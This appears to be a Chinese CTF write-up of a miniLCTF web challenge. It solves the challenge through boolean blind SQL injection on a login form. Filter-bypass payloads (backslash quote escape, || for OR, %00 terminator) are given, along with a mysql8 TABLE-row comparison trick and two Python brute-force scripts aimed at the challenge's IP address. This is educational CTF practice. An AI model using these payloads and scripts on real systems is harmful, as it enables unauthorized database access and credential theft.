五一这几天打了miniLctf和angstromctf,不过实力实在太菜了,miniL的题目我只做出来了签到难度的include,趁现在比赛结束后环境还没关,来复现一下

这个username
和password
的过滤非常多,最后试了很久,发现登录后有success
和fail
的回显,联想到了布尔盲注
这道题过滤的sql语句和关键词非常多,union
和select
等等,很多都不能用了
注释里有sql执行的语句

发现是字符串的形式,而且往后拼接语句的方法几乎是不可行的了,这个时候可以尝试使用\
将username的第二个单引号给转义成普通字符,password可以输入命令语句,结合布尔盲注的一般做法,发现or
关键字被过滤,使用||
代替,有个比较坑的点是——出题人把比较常见的注释符--+
、#
给过滤了,幸好还留下了一个%00
(截断字符,也可写为\x00
)来代替注释符,payload如下
1 2
| username=123\ password=||ascii(right(left(`username`,1),1))>121;%00
|
爆破username字段值的时候出了个小问题
就是使用python脚本爆破和使用burpsuite爆破有一些实际情况上的区别
python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests
i = 0 flag = ''
while True: i += 1 begin = 32 end = 126 tmp = (begin + end) // 2 while begin < end: payload = '||ascii(right(left(`username`,{0}),1))>{1};%00'.format(i,tmp) data1 ="username= 123\\&password={0}".format(payload) head = { 'Cookie': 'PHPSESSID=db6ff72befb816c153644c4148acb2bd', 'Upgrade-Insecure-Requests': '1', 'Origin': 'http://150.158.37.61:10000', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36' } r = requests.post('http://47.93.215.154:10000/login.php', data=data,headers=head).text if 'success' in r: begin = tmp + 1 tmp = (begin + end) // 2 else: end = tmp tmp = (begin + end) // 2
if (chr(tmp) == " "): break flag += chr(tmp) print(flag)
|
所以以后再碰到这种情况的时候,可以考虑多种方法一个一个尝试,如果是用burpsuite爆破的话,建议使用intruder
模块,不要像我一样,连intruder
都不会用,比赛的时候还手动修改数据
通过上述的方法,我们很轻松的获得了username的字段值w3lc0me_t0_m1n1lct5
但是在使用相同的方法尝试爆破password字段值的时候,由于or
在过滤的名单里面,所以直接回显了hacker
,当时想着是出题人应该是把布尔盲注这个方法给锁死了(毕竟sleep
和benchmark
两个常见的延时函数给ban掉了)
而且还有一个比较坑爹的地方就是——在尝试使用堆叠注入(经测试,上述payload的password字段的分号后面是可以执行多条语句的,即为堆叠注入)的时候,无论堆叠部分的语句是否执行正确,都不会有所回显(除非包含了过滤字符触发了hacker
的回显)很多方法都试过了,都没有效果,最后在这道题上面砸了好几天的时间也没有做出来
比赛结束后,我和认识的人交流了一下,我发现有个问题一开始就没有重视起来
那就是version()
函数是可以用的,好家伙,我连mysql的版本都不知道,跟打盲盒似的,怎么可能就做出来呢

好家伙,一查又是mysql8,mysql8的话……新的方法和特性相比于前几个旧版本多了很多

刚才提到的那位师傅用了一个我没见过的方法来查询password,参考链接https://dev.mysql.com/doc/refman/8.0/en/table.html
利用mysql8新增的table
关键字代替select
关键字,两者的效果是类似的
1 2
| table users => select * from users table users limit 1 => select * from users limit 1
|
从这点可以看出,以后碰到mysql8的题目就得多查点资料了(硬啃英文官方手册www
如果select
、union
、from
这三个关键字都能用的话,是可以进行无列名注入的,但是在这题明显不能
有一个能够代替无列名注入的方法是使用mysql字符串和()
与表的某一行进行比较(同时,使用该方法进行字符串比较的时候是可以接受hex的值的,即为不使用password
字段,这样就不会触发检查机制了,尴尬,之前想着用hex编码绕过的,奈何原来的payload不支持这个……)
使用上述方法的例子若与表查询的结果相比较,则相比较的是表查询结果对应的字段值
大小的比较遵从ascii码和字符串的长度这两个规则,先从两个字符串的第一个字符进行ascii比较,第一个字符相同时,比较第二个,不同则按照ascii码的规则和>
或<
的条件返回0
或1
并停止比较,以此类推,当相对长度较短的字符串比较完最后一个字符之后,若此时比较还未出结果,则根据两个字符串的长度进行比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| mysql> table mytest; +--------------+----+ | name | id | +--------------+----+ | thisthisthis | 2 | | admin | 3 | +--------------+----+ 2 rows in set (0.00 sec)
mysql> select ('t',2)<(table mytest); ERROR 1242 (21000): Subquery returns more than 1 row
### 注意在使用这种方法的时候,一般是与某个表的其中一列数据相互比较,所以不要忘记加上limit 1
mysql> select ('t',2)<(table mytest limit 1); +--------------------------------+ | ('t',2)<(table mytest limit 1) | +--------------------------------+ | 1 | +--------------------------------+ 1 row in set (0.00 sec)
mysql> select ('t',2)>(table mytest limit 1); +--------------------------------+ | ('t',2)>(table mytest limit 1) | +--------------------------------+ | 0 | +--------------------------------+ 1 row in set (0.00 sec)
mysql> select ('t',2)=(table mytest limit 1); +--------------------------------+ | ('t',2)=(table mytest limit 1) | +--------------------------------+ | 0 | +--------------------------------+ 1 row in set (0.00 sec)
|
这题便可以利用这个方法来盲注爆破
利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0
在这道题当中,我们直接控制单一变量比较,payload如下(借用人家师傅的脚本,懒得自己写了2333)
将字段转化为hex的原因是因为'
单引号被ban掉了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import requests
dic = '_0123456789abcdefghijklmnopqrstuvwxyz' url = "http://47.93.215.154:10000/login.php"
def str2hex(str): result = '0x' for i in str: result += hex(ord(i))[2:] return result
def boomSql(): result = '' for i in range(1, 40): for j in range(len(dic)): payload2 = {"username": "1\\", "password": f"||(1,0x77336c63306d655f74305f6d316e316c637435,{str2hex(result+dic[j])})<(table users limit 1);\x00" } res = requests.post(url=url, data=payload2) if "success" in res.text: continue elif "fail" in res.text: result += dic[j - 1] break print(result) if __name__ == '__main__': boomSql()
|
还是说明一个问题,mysql的版本还是得知道的,不然根本想不到利用新特性解题